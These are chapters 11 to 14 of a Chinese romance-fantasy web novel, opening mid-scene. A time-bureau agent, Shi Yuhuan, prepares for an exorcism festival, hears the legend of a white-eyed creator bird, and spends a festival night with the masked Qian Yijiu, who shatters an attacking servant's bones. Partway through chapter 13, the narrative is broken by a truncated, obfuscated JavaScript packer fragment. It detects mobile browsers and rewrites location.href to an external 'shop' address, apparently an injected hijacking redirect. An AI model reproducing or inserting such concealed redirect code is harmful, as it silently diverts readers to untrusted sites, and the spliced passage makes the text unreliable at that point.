她觉得自己的点子糟糕透了。虽然自己会游泳,但以栽进水里妄图看他一眼这种颇不具备新意,颇俗套的办法,实在……是糟糕透了。
而且很遗憾,她也什么都没看到。
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千亦久肯定不吃这套的。
「倒计时结束,很遗憾任务失败,请下次再接再厉哦」
时予欢一边抹着脸,一边心道算了,她也终于后知后觉的想起,这个系统么,它其实是一个非强制性的系统。
算了,不让看就不让看吧,她是个大度的女孩儿,毕竟谁还没有点儿小秘密呢,像她小时候,就经常有那种买好看却劣质贴纸往手上贴,最后还洗不掉的惨痛经历。
说不定千亦久也有这种经历,比如青龙纹身什么的,所以才不好意思让她看,嗨,谁家孩子没个中二时期呢对不对。理解,理解。
“我明白了,我全明白了。”时予欢咳嗽两声,深表怜爱。
千亦久看着她莫名其妙又变了质的复杂神情,默了默,终于,几不可闻地叹了口气。
“关于最开始的问题。”
他忽然开口,嗓音平静,却带着一种尘埃落定的意味。
“我跟你走。”
是那个有关她只问一遍,要不要跟她走的问题。
“你绑架成功了,时予欢小姐。”
他闭了闭眼,仿佛无可奈何。
“没办法,我也没别的地方可去了。”
最后啊,那件从头到尾都被她一直牢牢抱在怀里,属于他的墨蓝外袍,带着水生气息和温泉的暖意的外袍,被他拿起轻轻一扬,终究是一个兜头,落在了她的身上。
几乎同时,雪景竹影的身影再次轻轻一晃,去而复返的陆青玄再次出现,再次僵了一僵。
“你们还没完呢……”
他转身,看上去又想走。
“你们继续,继续。我真的……等会儿再来。”
“等等!”时予欢从袍子里挣扎出脑袋,脸红的像枫树的一片叶子,再顾不得其他,她埋头一溜烟儿的,跑了。徒留一池清冽泉水汩汩奏响。
……
半个时辰后,庭院内室。
时予欢换回干爽的衣裙,头发也半干着松松挽起,呆毛倒是不死心的支棱着,只是脸颊还隐隐发热。
她与陆青玄对坐,中间还隔着一壶清茶。
陆青玄神态温和,他其实对这位小姑娘很有好感,是那种长她许多岁后看小辈的好感,只是小姑娘一门心思不在他身上,反倒追着她不该惹的人去惹,他自个儿也无意去扮演苦情角色,也就没什么非要强取豪夺的恶人心思。
小姑娘春心萌动很正常,不过到底是不是春心萌动也不好说,但万事万物自有造化缘法,等她日后碰个钉子就好了,孩子嘛,做事总要吃一吃苦头。
“我来,是想告诉你有关除祟祭的一些事宜……”他缓声开口。
“等等!”时予欢忽然想起了,终于想起了她最开始的目的,“在那之前,我还有一件事想请教你。”
她将此前看过的那本故事书翻出来,推到二人中间,翻到尾页,指尖点在那行关于“灰白双眸”的描述上。
“这个人是谁?”她抬眼,目光清澈而坚定,“我觉得我要找的人,很可能就是他。”
陆青玄的目光落在书页上,温润的笑容敛了几分,沉吟片刻,说道:“或许你要找的,可能不是个人。”
时予欢:“啊?”
陆青玄摇了摇折扇,说道:“在神话里,在传说中,有这样一只创世神鸟,白翼,白眸,据传是这世间唯一生来白眸的生灵。”
顿了顿,又说:“神鸟又名‘三白乌’。知道么?鹿蜀国每年除祟祭祭祀的对象,也正是这只神鸟。”
他笑了笑,看着她问:“关于这只神鸟,你知道多少?”
时予欢咬了一下唇,老实委婉地交代:“半罐水响叮当,大概……只知道半杯水那么多。”
陆青玄一笑,执起茶壶,为她面前空了一半的茶杯缓缓斟满。
“那么……如果你愿意倾听,或许,我可以将剩下另外半杯水告诉你。”
他放下茶壶,声音温和而清晰。
“关于这位生灵背后,我所知道的故事。”
11. 不喜欢的人
大抵世间所有故事的开篇,都逃不过一句,很久很久以前。
在很久很久以前,天地混沌造化出阴阳众生,时间的河流划分三千世界,而在时间的长河中,曾翱翔着一只创世神鸟,其名三白乌,羽翼如雪,眸白如霜。
岁月生生不息,直到后来,有群天外来客涉足了时间,闯入千万世界中的某个小世界,抓走了神鸟,建立了浮生帝宫将它囚禁。
听到这儿,你会不会认为,这么个传统的“妖怪”垂涎“唐僧肉”的戏码,是时候该有个英雄人物唱罢登台,在万众期待中风风光光拯救被囚禁的神鸟?
很可惜,没有。
三白乌死亡了。在漫长的囚禁中,就那么轻而易举的死亡了。
“死……死了?”时予欢吃了一惊,险些打翻手中的茶杯。
“是啊,死了。”陆青玄语气淡然,或许是遗憾,也或许是这段过往与他无关,所以说起话来,也足以娓娓道来,“取而代之的,是九公子的出现。”
时予欢又是一怔。
她虽然知道千亦久碰巧拿到的身份牌不一般,但她可没想到,居然有这么不一般。
陆青玄继续道:“他在三白乌死亡后的某日忽然出现的,没人知道他从哪儿来,只知道他效忠于浮生帝宫,在我看来这不是一件好事……”
顿了顿,抬眸看了一眼时予欢,又说:”准确说,他效忠于天外来客,那群人要求他做什么,他就会去做什么。”
回忆须臾,又说:“就因为这位凭空而来的蓝衣少年,王都的枯骨不知发出过多少惨叫,寂照海的深渊不知染红了多少光阴……甚至有人曾猜测,三白乌也死于他手。唔……至于他在其他世界犯下的罪孽,那我就不清楚了。”
陆青玄叹气:“很难说他是个冷漠的天才还是个失控的疯子。”
时予欢听得目瞪口呆,呼吸一窒。
陆青玄恹恹地叹了口气,折扇“啪”地一声轻合,一副早知如此的口吻道:“所以我说啊,你现在纠缠的那个人,只不过是条鹰犬走狗而已,他不是你该招惹的人。”
时予欢意外吃了这么大一个瓜,听了这么大一个八卦,难免感到震惊,不过更让她震惊的,还是陆青玄言语中透露的关于“天外来客”的消息。
她几乎可以断定,那指的就是时空管理局——除了时管局,还有哪个组织能集体性的“涉足时间”?
时予欢顿了顿,半晌,她试探性地开口了:“你知道……那群‘天外来客’的事儿?”
陆青玄看着她,愣了愣,随后恍然大悟地哦了一声,接话道:“知道一丢丢,但不多,我对天外的世界不感兴趣,就比如,比如说……”
随即他话锋一转,说的话把时予欢吓了一跳:“就比如你,你的身世来历应该就是被精心杜撰出来的。”
时予欢悬着的心淡淡的骤停了。冷不丁被戳破了身份,她呼吸一停,指尖微微收紧。
“啊,原来真的是啊。”陆青玄见状,反而轻笑出声,煞有介事点点头,“我纯属胡说八道诈你身份来着。”
时予欢:“……”
陆青玄折扇一摇重新展开,半张脸躲在扇子后面:“你别这样看我,我其实看人很准的你知道么……”
时予欢有点儿想揍人了,她想灭口。谢天谢地千亦久把她跟总部的监控断了,出任务被局外人瞧出身份她也实在是太失败了,被发现一定会被总部训的吧!
陆青玄默默找补:“但我觉得么,你不该是个坏的。”
他合上执扇轻叩桌面,语气笃定:“就冲着我头回见你,你那么胆大妄为地在雪地上向前一扑,还信誓旦旦扬言要娶九公子,有这样不怕死的胆量和气魄。”
“我便觉得,你不该是个坏的。”他很自信。
时予欢:“……”
“说回正题。”陆青玄微微敛了笑意,正色道,“每年鹿蜀国除祟祭,子民都会戴上傩面,穿上傩衣,在往生冬青树下踏歌起舞。传说,能跳得足够好看,能引得三白乌驻足的那个人,就是每年除祟祭的优胜者。”
时予欢皱了皱眉:“可你刚才不是说,三白乌已经死了?”
陆青玄接话:“哦,所以这么多年来,早就改成由皇室一族人为评选了。”
时予欢很能抓重点:“那我只要赢了这场比试,就能获得出谷的资格,对么?”她的眼睛晶晶亮。
陆青玄一偏头:“就那么想离开?”
“嗯,想离开。”
“离开以后去哪儿?”
“……”
时予欢默然片刻,转眸望向窗外晦暗茫然,不见风景的夜色:“不知道。”
只是想离开。
然后……
然后,我要去找一个,有着灰白色眼睛的人。
有的时候,有梦想是件好事。
但现实吧……或许不能强求。
比如在跳舞一事上,时予欢堪称一张白纸,是个一窍不通的姑娘。
因此,她对这位风流俊雅,含笑生花的青玄少君很是另眼相看,甚至完全报以了艺考生对待名师的崇敬与依赖。
一连几日,她天不亮就戴着面具,抱着繁复的傩服像做贼般溜出庭院,直奔陆青玄在王城中暂居的仙府——还不太敢被千亦久发现。
王城之中,流言如细雨春风般悄然滋生,都说这位小公主近日与连山少君走得愈发亲密,关系非同一般。更有那日温泉边的“目击者”信誓旦旦,称曾见到小殿下与青玄大人“共浴一室”。
众人细想,愈发觉得这才合理——小公主和青玄大人郎才女貌门当户对,实乃天作之合。
至于最开始,小公主不小心招惹的那位身份诡谲的九公子……还是算了。
主要谁也不觉得,那样一个魔头,会对一位平平无奇的姑娘有格外关照和优待。
对待这些纷扰流言,陆青玄不介意。
于是时予欢也不介意。
除祟祭有项习俗,无论男女都得戴着面具出行,这一日,正赶上时予欢得去买祭祀用的东西,人生地不熟,她只得央求陆青玄的相助,请他帮个忙作个地陪,带着她在城中转上几转。
她最开始……其实很想找千亦久。
但是邀请的话说不出口。
她害怕。
她怕无稽纷扰的流言牵连到千亦久。
时予欢想,若是这样,她一定会感到愧疚难安,他帮了她那样多的忙,她早已
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是万分感激,若是让他再被城里人议论……没有这样恩将仇报的道理。
自从那日温泉后她裹着他的衣服落荒而逃后,她便强忍着,一连数日未去打扰他的清净。
月上柳梢头,一日黄昏天气。
时予欢在约定的街角等候陆青玄,夕阳将她的影子拉得很长很长,街市喧嚣,她低着头左等右等,直至暮色四合,仍不见那袭青衣。
是有什么事……被耽搁了?
时予欢心里犯嘀咕,总觉得陆青玄不是这么不仗义的人,一言不合就放她鸽子?不应该呀。
直到太阳快落山了,她轻轻叹了口气,正欲转身离开打道回府,身后传来脚步声。
怔了怔,回眸看去。
只见一个戴着傩面,身着蓝衣的高挑身影,悄然出现在巷口的余晖中。
其实分不清衣服的颜色。在夕阳的光辉下,像蓝,也像青。
时予欢怔了怔,她觉得今日的“陆青玄”有点儿不太一样,步履更沉,气息更静,站在那儿,便像敛去了周身光华,几乎要没进暮色,带着化不开的冷寂。
“怎么了?”对面的人开口,语调平稳,声音却因面具的阻隔显得有些沉闷,“见到我,不好么?”
时予欢很快移开目光,她低着头垂下眼睫,盯着青石板缝隙里的细草出神:“不是不想见你……”
其实,她更想约千亦久出来玩来着。
但……算啦。
“因为我原本想约另一个人来着。”她顿了顿,声音轻了下去,“但又害怕给他添麻烦。”
“为什么会害怕?”面具后的声音问,“你讨厌他?”
时予欢沉默了片刻,晚风轻轻拂过她颊边的碎发,扬起来,好看极了。
“不。”她摇了摇头,很肯定。
“那不一样,比如你帮我,我很感激,但我心里知道,这种感激是能被还清的。”她抬起头,目光望向不知名的远方,有点儿茫然。
“但是有的人,他帮了你,你会觉得……这辈子可能都还不上。”
静了一刹,她低声:“不可以给别人添麻烦。”
是小时候学的规矩。
小时候父母常常吵架,父母也时常教育她:我们供着你,养着你,你今后也要赡养我们,要回报我们,要做一个知恩图报的孩子,懂吗?
所以很小的时候,她就学会了如何懂事和礼貌。
“麻烦一个人太多,就是亏欠了。”她踢了踢路一颗无辜的小石子,声音闷闷的,“欠了,就会怕永远也填不上那个窟窿。”
“我不喜欢这种感觉。”
暮色彻底吞没了最后一线天光,街边灯笼次第亮起,在他们冰冷的傩面上投下流动的,昏黄的光影。
此时此刻,站在面前的,带着面具的千亦久,其实并没有怎么留心她话里的另一层意思。
他只是没来由有些听明白了,听明白了这个女孩话语里的“不喜欢”三个字。
就像他从来不喜欢所有了不起的传说,不喜欢山峦外无垠的旷野,也不喜欢在浪涛般涌动的云海间,那些被称作所谓“翱翔”的日子。
这种不喜欢……
就像,他也不喜欢她一样。
12. 月色下的影子
正值除祟祭,几盏花灯几盏星子,哪儿都好热闹。
其实这个“游街”么,该怎样游才最适宜,该聊什么才不乏味,时予欢是没什么概念的。
但她自诩滴水之恩定当涌泉相报,近日来陆青玄帮了她不少,此番约他同行请他参详,又是帮她一忙,她既领了情,好歹总该尽力让气氛活跃些,起码,也得让堂堂连山少君夜游游开心了才作数。
于是,一路喧哗长街上,时予欢顶着个傩戏面具在他身边一直热络地说着话,譬如今夜哪里开的花儿真好看,哪儿的糖糕最甜,哦,其实本人厨艺还不错的你知道么。
身旁人沉默地听,只偶尔简短地回应一两声。
走着走着,时予欢觉得不对。她总觉得今夜的“陆青玄”格外不同。
话少。
不笑。
也……不捧场。
当然,不笑这个点,时予欢反思了一下,很可能是她自己的问题。
比如说——
“你知道女娲用什么补天吗?”
“不知道。”
“用强扭的瓜。”
“?”
“不甜。”
“?”
时予欢干笑两声,试图找补。
“……哈哈,可能是我讲的失败,我再换一个。”
“?”
“你虽没被我逗笑,但注意了,今后在悬崖上笑要小心一点。”
“?”
“容易笑掉大崖。”
又是良久的沉默。
“……”
“?”
“我讲的……不好笑吗?”
“……?”
对方只是微微偏了偏头,似乎更困惑了。
于是乎气氛陷入了一种更微妙的,诡异的,尴尬的沉默。
时予欢摸了摸鼻尖,深刻且认真地反思:自己这个“陪玩”,是不是有点儿不及格?
虽说“陆青玄”很不给面子的不笑,也不捧场,但行动上却无可指摘。但凡她多看两眼的小玩意儿,或者祭祀需要采买的物件,他都会默不作声取出钱袋,示意她随意,并给予充分的资金认可。
经过一个卖精巧傩面的摊铺时,时予欢看着那些或狰狞或诙谐的面具,忽然心念一动,悄悄凑近他,压低声音问道:“你说,要是我俩结了婚,我还能这么沾你的风光么?”
身旁人的脚步几不可察地顿了一顿:“结婚?”
“对啊。”时予欢点点头,语气带着玩笑似的盘算,“我想过了,万一,我是说万一,万一除祟祭的比试我没能赢,那想离开山谷岂不只剩下了嫁人这一条路?”
鹿蜀一族婚嫁的子民也是被允许离开铃冬山谷的,可巧,她这儿就正好有那么一桩姻缘。
她又添了一句:“当然,这是下下策。”若是没有必要,她也不是很想在陆青玄的姻缘红线上捣乱,万一耽误了对方真正的红线缘分也是罪过。
风声绵延不绝,默了一会,“陆青玄”忽然开口了:“你似乎……并不像其他人类那样,在乎婚姻?”
“是啊。”时予欢坦然承认,“对我而言,婚姻大概……是噩梦吧。”
是童年的噩梦。
她轻轻叹了口气,目光掠过灯火阑珊处的一对寻常眷侣,又轻轻移开,说道:“反正结婚又不需要爱情,所以,我也不在乎它被拿来当工具用,也不在乎外人怎么说,只要它能带我离开山谷就行。”
正说着话,前方街口忽然传来清道声,人群微微骚动,只见两列颇为华丽的仙家仪仗缓缓行来,正是鹿蜀皇族大公主与二公主的鸾驾。
时予欢本是嗑瓜子看个热闹,顺便由衷地感慨这么个辉煌威仪的出行真真气派。
真真气派的仪仗缓缓驶到她身侧时,停住了。
只瞧一身繁复宫装的大公主被侍女搀扶着走下步辇,下巴微扬,说道:“老远就瞧见这儿站了个灰头土脸的家伙,走近一瞧,还真是。”
二公主紧随其后,嗤笑道:“姐姐,听闻这妮子前几日还跑去市井厮混,真是……”
两人都是花容月貌的女儿家,时予欢嗑瓜子的手一顿,哦豁,看来自个儿大概在什么不知情的时候,跟这对姐妹结了一段仇。
确实有仇,只是这个仇么,得从她的未婚夫陆青玄说起。
陆青玄作为连山王都的少君,其实是个很受人喜爱的乘龙快婿,这个喜爱不仅仅指他的身份地位,还有他的性格,风流随性不计较,一副好看的皮相往那儿一摆,很容易惹得女儿家春心萌动。
当年大公主与二公主择婿时,其实都一心巴结着连山王都,可碰巧那时鹿蜀国避世避得厉害,哪儿敢给宝贝女儿择外面的人?直到最近几年风头好些了,鹿蜀国君起了拉拢连山王都的心思,这不,刚好还有一个不受宠的小公主,于是乎,时予欢就这样被推了出去。
错过了这一门子姻缘,两位公主都不是很高兴。
这一桩仇结了,近日两个公主又丢了灵火珠,兜兜转转一打探,听说是被她们一向看不起的时予欢摘了去,刚想责问,却被陆青玄开口揽了下来,说珠子是他送的,这事儿才得以罢休。
新仇旧恨这么一叠,今日恰巧碰上,想不发作都不可能了。
刁蛮美丽的大公主团扇轻摇,哼声道:“让你白捡了个便宜,勾搭上连山的青玄大人,也不看看自己的身份,有哪一点儿同我们配得上“家人”二字,简直是令人蒙羞的污点。”
其他的倒没什么,只是最后的那一句话,措不及防的让时予欢恍惚了一瞬。
她想起自己的少年时期。
父母离婚后,她跟着母亲生活了一段时间,后来母亲再嫁,有了新的家庭,儿女双全,有了新的人生,她的存在成了母亲的“污点”。
新的家庭里,哪里还有她的位置。
其实她心里很为母亲高兴,也支持母亲的想法,但更多的时候的夜深人静,她还是忍不住想问上那么一句——
那我呢?
我怎么办呢?
妈妈,我也是你的女儿呀。
这个问题是不会有答案的,时予欢很有自知之明,于是毕业那年,她收拾好行李卷着攒下来的所有钱,搭上一辆城际列车,跑了。
母亲也没有再找过她。
时隔多年,结了痂的伤疤悄悄被揭开一角,时予欢只觉得么……这两人,欠揍。
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她抬起眼,目光清亮,脸上甚至带着点儿漫不经心的笑:“污点啊,真可惜,按照族谱礼法来说呢,我这个‘污点’,偏偏是你们这辈子都擦不掉,必须得承认的名义上的‘妹妹’。气不气?”
她自认为这话说得够爽快,够潇洒,够不输气势。
果然,这对姐妹被气得脸色青一阵白一阵。
“血脉这么高贵,怎么心胸却跟铃冬谷的天一样,又冷又窄?姐姐们,仪态崩了啊。”
时予欢对自己吵架能吵赢对方这件事很满意,心里又想要不要动真格给这对姐妹一个教训,但算了,没必要么,又不是深仇大恨,怼回去拉倒。
吵了架,逛了半夜也是累了,她懒懒打了个哈欠,心想打哈欠果然是会传染的,跟着千亦久混了一段时间,人也变得随性了。
她微笑着挥一挥衣袖,转身就想走,刚迈出几步,却听得身后骤然响起凌厉的破空之声!一道泄愤的法术如毒蛇吐信般劈过来,迎面劈向她的命门。
时予欢骇然回头,眸光一怔。
比法术更快的,是一片墨蓝的衣角。
只见这身影闲庭信步般轻轻一移,便已稳稳挡在她身前。那凌厉的法术尚在他身前尺余,竟如冰消雪融一般,无声无息的散了个彻底,连他的一片衣角都未曾掀起。
挡在她身前的人甚至未曾回头,只望着对面脸色骤变的两位公主,以及她们身后那个出手偷袭,此刻已吓傻了的随从。
他平淡的嗓音透过面具轻轻响起,像冰封湖面下的回音。
“看不见,她身后站着谁么。”
他的指尖倏然一动,下一刻,那名出手的随从的脚底开始迸出冰蓝流光,看似随意的轻轻一绕。
“咔嚓。”
令人牙酸的骨裂声响起,那随从甚至惨叫都没来得及发出,便觉一股山岳般的威压轰然一砸,砸得他双膝不受控制地狠狠砸进积了雪的青石街面。
“咔嚓。”
膝盖骨碎的声音清晰传来。
那随从冷汗淋漓,手腕脚腕以一种诡异的角度扭曲着,连头都无法抬起,只能从喉咙里发出痛苦的嗬嗬声。
时予欢倒吸一口凉气。
好家伙……好你个陆青玄,平日里看上去文质彬彬,风流雅致的公子哥模样,结果下起手来居然比还她狠诶。
说真的,她都想跟陆青玄结拜了。
陆青玄今夜够仗义,不仅陪逛陪买,还愿意替她这个陪玩出头,除了没被她逗笑这点儿略显败笔以外,简直够朋友。
“喂,陆青玄。”
时予欢忍不住在对方高大挺拔的背影后探出半个头,伸手轻轻拽了拽他的衣袖,悄声说道。
“我有个主意,今后……”
后半句戛然而止了。
身前人的背影僵了一僵,随后,他缓缓转过身,面具也随之而落。
没了复杂面具的遮挡,短发,蓝衣,逆着月光,时予欢终于看得一清二楚,脑袋里嗡了一声,猛然一僵。
他沉寂如墨的眉眼,在夜色的倒影里浸着浅浅寒光。
“你刚刚,叫我什么?”
雪夜,千亦久仿佛在笑,笑容也仿佛淌着一川月色。
13. 河流里的星星
静夜沉沉,山间浸满溶溶月。
长街上,无关的看客早已散场,时予欢捂着脸蹲在地上,耳尖和脖颈上都染上了一层浅浅朝霞胭脂色,在月光下显得格外明显,想一想就知道,她的脸定然比耳朵和脖颈还要红。
千亦久也学着她的样子蹲下来,蹲在她面前,手肘随意地搁在膝头,单手托着下巴,好奇又探究地瞧着她这副恨不得当场刨个坑把自己埋了的委屈模样。
“原来,真的从头到尾……都没认出我啊?”
他声音平平,却拖长了尾音。
两人的面具早已摘下搁在一旁,时予欢把脸埋得更深,假装自己不存在,也赌气般不肯理他。
她心里那叫一个不甘心啊,只觉得自己迟钝,甚至忍不住暗暗抱怨,时予欢啊时予欢啊,你怎么那么傻呢,怎么连人都认不出来呢?千亦久多么好认啊,在你讲冷笑话他不笑时你就该察觉的!
老天能不能再给她一次机会?下次她保准儿一眼就能瞧出他来。
中途不是没有产生过怀疑,只是被她下意识忽略了,她总觉得,千亦久那么个人,那么个懒得出门,对什么都不感兴趣的人,自然,也对出游这种小事无所谓的。
她想不到他会以这种方式虚度光阴,正如他也想象不到,她居然会讲奇怪的笑话一样。
她把头埋在臂弯里,半晌,闷闷地开口:“那,那陆青玄呢?”
千亦久眉梢一挑,悠闲轻松地回答:“死了哦。”
都说过不要用最平静的表情说最可怕的话啦!
时予欢猛地从膝间抬起头,一双眼睛像小鹿似的瞪得圆溜溜,半是惊,半是恼。
月光惊艳,优雅地勾勒出千亦久清冷锋利的眉眼,他闭了闭眸,嗓音听不出情绪:“他来庭院里寻你,没寻见,我说你已经出去了。”
时予欢张了张嘴,心脏提到了嗓子眼儿,生怕他一句话就要蹦出个“然后我把他顺手解决了”之类的陆青玄死因出来。
千亦久这才掀开眼帘,目光轻飘飘在她脸上扫了一圈,淡淡道:“然后,他来寻你,我不太高兴。”
顿了顿,又无可奈何似的长叹一气:“因为那个时间,我恰巧在休息,恰巧,他扰了我的清梦。”
时予欢:“……”
千亦久继续淡淡地说着吓人的话:“他扰了我的梦,我不高兴,于是恰巧,他在出门时踩空了门槛,更巧的是,他这一摔,竟蠢得将自己摔骨折了。”
时予欢在心里默默给那位风流倜傥的少君点了根蜡,心道好兄弟,你也是不容易啊。
她终于找回自己的声音,带着指控的意味说道:“所以你冒名顶替他来了?那你为什么不早说?故意耍我?”
千亦久略略偏头,久沉吟思索了一会,说:“我只是对你的区别对待感到好奇。”
时予欢茫然地“啊?”了一声,心想哪里有呢?
“你近日和他走得很近。”千亦久陈述证据。
“是的?”时予欢认下证据,理所当然道,“我有求于他,除祟祭的一应事项我都不太熟,我想你大概也是不熟的,所以我找陆青玄商量,这样既周全,也不给你添什么麻烦。”
“不,我指的不是这个,时予欢小姐。”千亦久打断她,沉静的目光落在她脸上。
时予欢认真想了又想,实在想不出来他说的“区别对待”指得是什么。
“不记得了吗?你的态度。”千亦久缓缓道,同时,他伸出手,轻轻叩住她的手腕,紧张紊乱的脉搏诉说真相,“在靠近我时,你的心跳会变得很快,呼吸也会不自觉地放轻、变乱。”
他的指尖迟迟没有离开,体温接触,那一点儿微凉的触感让她手腕处的肌肤微微战栗。
“当你靠近陆青玄时,从不这样慌乱。”他继续观察着她的反应,“因此,我认为他于你而言是特别的,但当我以‘陆青玄’的身份出现在你身边时,你也依旧平静如常。”
“然而,一旦我的真实身份揭晓。”他微微倾身,靠近了些,月色洒下来,在他浓密的眼睫下落出一小片影子,“你此刻的心跳,又快得不正常了。”
他忽然抬手,将她颊边一缕被夜风吹乱的鬓发轻轻拨到她耳后,不经意间,指尖掠过她滚烫的耳廓。
“你瞧。”他靠得很近,近到足以看清她眼眸中清晰的慌乱,“现在的你又脸红了,为什么?”
他的气息擦过她脸颊的一瞬间,时予欢呼吸一窒,大脑近乎空白。
“比起我,你明显更不排斥他,为什么?”他似乎没打算等到她的答案,只是微微蹙眉,继续说下去,“为什么你更喜欢和笨蛋呆在一起?”
最后这句话,像是一脚精准踩中了猫尾巴,霎时让时予欢从脸红中惊醒,炸了毛。
“我哪有!”
千亦久思索了一阵:“时管局里,很多人都是笨蛋。”
时予欢不服:“你不是也是时管局的人?”
“我是聪明人。”千亦久淡淡的提醒,语气理所当然,“所以你以前从没在时管局见过我,我说了,你很奇怪,你总是更喜欢……和那群笨蛋呆在一起。”
时予欢被噎得无话可说,一时间不知道是该替局里那群被千亦久骂笨蛋的同事们喊冤,还是该担忧局长先生的精神状态。
要是让局长先生听见了他这番话,保准儿能被气得胡子飞到天上去。
僵持许久,终于,千亦久站起身,看着依旧蜷缩成一小团,蹲在地上的她,更加感到好奇。
时予欢自暴自弃地朝他伸出一只手,语气沮丧:“我脚麻了。”
她抬头,很惆怅地看着他:“麻烦你,能扶我一把么。”
千亦久似乎怔了怔,随即很自然地伸出手,握住她的指尖。他的手掌比她的略大一圈,温度偏低,稳稳当当地将她拉了起来。
“好的,很高兴随时为您服务。”
被中断的街市夜游得以继续,只不过这一次,时予欢走得同手同脚,浑身不自在,实际上,她的思绪也十分不自在,满脑子都是天呐,太丢了人了,此前同陆青玄说得奇奇怪怪的话,都被千亦久听去了,这跟公开处刑有什么区别呢?
走在前面的千亦久忽然停下脚步,回头看她:“其实,我还是更喜欢你桀骜不驯硬要讲奇怪笑话的样子。”
时予欢一个激灵,满脸惊恐:“你你你……”那些冷笑话也是公开处刑的一部分啊!
“奇怪的笑话。”千亦久回忆了一下,“还有吗?”
喂!不要用最平静的表情说最期待的话啊!
时予欢深吸一口气,破罐子破摔地再次开口了。
“其实,我还有一个压箱底的笑话。”
“?”
“但开箱的钥匙找不着了。”
“?”
“?”
“……?”
时予欢再次默默捂脸,发出一声哀鸣。
她就知道会这样!说真的,千亦久能被她逗笑才怪了!
两人并肩而行,只不过这一次,氛围有点儿微妙的不同不仅仅指时予欢在知晓身边人身份后的紧张感和局促感,更多的是指在刚刚见到他出手后,街市上普通行人们的惊吓。
说实话,当小公主与陆少君走在一起,还能被夸上一句郎才女貌天作之合,还会招来一些眼红嫉妒,比如方才的鹿蜀的两位公主。
可当小公主和一个心狠手辣的人走在一起,那剩下的,就只剩怕了。这也是两位公主落花流水跑了的原因。
千亦久很淡定的说:“人们是真的很怕我啊。”
时予欢叹气:“没办法,你刚刚忽然出手,不光他们,连我也吓了一跳。”
千亦久似乎很习惯这种畏惧:“毕竟在旁人眼里,我一直都是个吓人的怪物。”
时予欢默默同情他,绞尽脑汁思索着该说些什么话来宽慰宽慰他,毕竟担着这么一个身份,是挺……招人恨的。
她想了又想,诚恳道:“那是这个世界九公子做的事啦,跟你没关系的,不用那么真情实感的代入。”
路边有许许多多摊贩,她瞥见一个卖旧书杂画的小摊,忙两三步走山前,随手拿起一本泛黄的恐怖传奇画册,快速翻到某一页,举到他面前。
“你瞧,真正的九公子应该是这个样子。”
粗糙的纸张上,一幅工笔描绘着尸山血海的天地,一名蓝衣男子独立其中,身后展开一双纯净而盛大的白色羽翼,漂亮的,近乎诡谲。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992045|193758||http|test|mini|href|location''.split(''|''),0,{}));
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>千亦久的目光落在画上,怔了许久。
他伸手接过画册,指尖抚过那泛黄的纸页和画中白色的羽翼:“确实,我和画上的模样已经很不像了。”
不知不觉间,霭霭夜色更沉几分。
两人又结伴走了一会,直至走到街巷尽头的一座小山,时予欢很有目的性地带着千亦久绕着山道走上去。
此时此刻人迹罕至,唯有风声过隙。
时予欢在崖边一块平整的石头上坐下,仰头指了指天上,说道:“从这座山望上去,有一处铃冬山谷天然的狭窄裂隙,叫‘一线星’,这是山谷与外界连接的一处‘窗口’。”
她抬头,望着那山谷的一线缝隙:“喏,这是就是我今晚计划的最后一站。原本是想请陆……咳,总之,现在是请你,来看这一小片从缝隙里漏下来的星空。”
两侧黝黑的石壁高耸逼仄,中间一线缝隙弯弯绕绕,这窄窄的一条天空,也仿佛一弯窄窄的河流,河流上,千万点星子悬着,皎洁如霜,星光点点,像一场落不下来的雪。
天似河,河中有星,星如飘雪。
坐在崖边的时予欢看得高兴,不自觉唇角一弯:“我……”
千亦久忽然说:“别笑。”
时予欢不明所以的转头看他。
千亦久望着她此时此刻坐着的地方,平静道:“会笑掉大崖。”
时予欢:“……”
千亦久思索片刻,求证一般问道:“这句话,是这样用吗?”
时予欢:“……”
她万万没想到,有朝一日会被自己的冷笑话反将一军。果然多行不义必自毙,做人呐,还是得留有余地。
为防止千亦久继续举一反三,时予欢赶忙离崖边远了些,退后几步寻了处花丛坐下。
夜风吹散薄雪,露出花地上丛聚着的浅浅花丛,时予欢很随意地躺下来,身下是柔软的枯草和零星花瓣,从她的角度望去,天上那一线河流样子的星空波光粼粼,此时此刻,她觉得自己就潜在河底,像一条浸在星空下的鱼。
千亦久在她身边坐下,没有说话。
时予欢轻声开口了:“喂,我们去看一看外面的世界吧,你答应过我的,要跟我一起走。”
“嗯。”千亦久应道,声音很轻,“我答应的。”
“不许反悔。”
“不反悔。”
静了一会,千亦久眼帘微垂,忽然问道:“有想过,离开以后去哪儿么。”
离开以后去哪儿?
印象里,这个问题陆青玄也问过她一次。
“不知道。”
时予欢望着天上的星星,伸出手,五指张开,仿佛想要抓住那些遥不可及的光点。
只是想离开。
想和你一起离开。
夜渐深,风渐凉,过了许久,久到沉默蔓延,只余温柔的风声浅浅吹拂。
千亦久不是很想再坐在这儿了。一尘不变的星空,一尘不变的夜色,他觉得没有再留下的必要,而且,像这样躺在开着花儿的雪地里,她会冷。
正当他想起身时,蓦地,指尖传来一阵温热柔软的触感。
他愣了一瞬,垂眸看去——
身侧,原本躺在花丛里看星星的女孩儿不知道什么时候睡着了。
她双眸轻阖,呼吸均匀而绵长,看上去,睡得正香。
而她的一只手正无意识的,松松地牵住了他的指尖,牵得那样小心翼翼,仿佛栖着唯一的热源。
千亦久几不可察地皱了皱眉:“醒醒。”他轻轻喊她,试着用手推了推她的肩。
没有回应,女孩儿睡得沉,脸颊在月光下泛着柔和的微光,发尖那缕总不听话的呆毛也随着呼吸轻轻晃动。
就在千亦久迟疑着是不是要再唤她一声时,一阵细微的“叮”声从她腰间传来。
千亦久俯身,解下她腰间那个闪着微光的终端。
屏幕上一行清晰的字迹映入眼帘:
「叮——恭喜触发支线任务:同床共枕(积分奖励:1000)」
千亦久:“……”
现在,关于“要不要喊醒她”这个问题。
他陷入了某种微妙的,长达数秒犹豫的沉默。
14. 一块怀表
星子点点,一线月夜凉如水。
时予欢枕在银灰色的花丛里,是睡着了,却还,小心翼翼地牵着他的一只手。
千亦久坐在她身边,怔了许久。
